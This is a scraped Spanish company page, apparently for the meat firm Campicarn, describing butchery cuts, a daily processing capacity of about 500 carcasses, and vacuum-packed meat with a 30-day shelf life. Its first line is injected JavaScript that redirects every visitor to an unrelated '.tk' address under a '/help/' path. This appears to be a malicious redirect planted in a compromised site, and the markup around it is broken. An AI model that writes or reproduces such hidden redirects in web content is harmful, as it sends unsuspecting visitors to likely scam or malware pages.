window.location.replace("https://acenexncid.tk/help/?15131619432237");window.location.href = "https://acenexncid.tk/help/?15131619432237";lang="es-ES" id="arve"> Piezas De Carniceria – Campicarn

Piezas De Carniceria

Piezas De Carniceria

En las salas de despiece, con capacidad para deshuesar y despiezar aproximadamente 500 carcasas al día, el proceso se desarrolla de acuerdo con diferentes estándares de corte en función de las necesidades de los clientes.

Los cortes se comercializan frescos o envasados al vacío.

La carne envasada al vacío tiene un plazo de consumo de 30 días aproximadamente (mantenida a una temperatura entre 0ºC y 4ºC).

El envasado al vacío hace que la carne sea más tierna y que recupere su coloración natural unos 30 minutos después de retirarla del envase, expuesta al aire.

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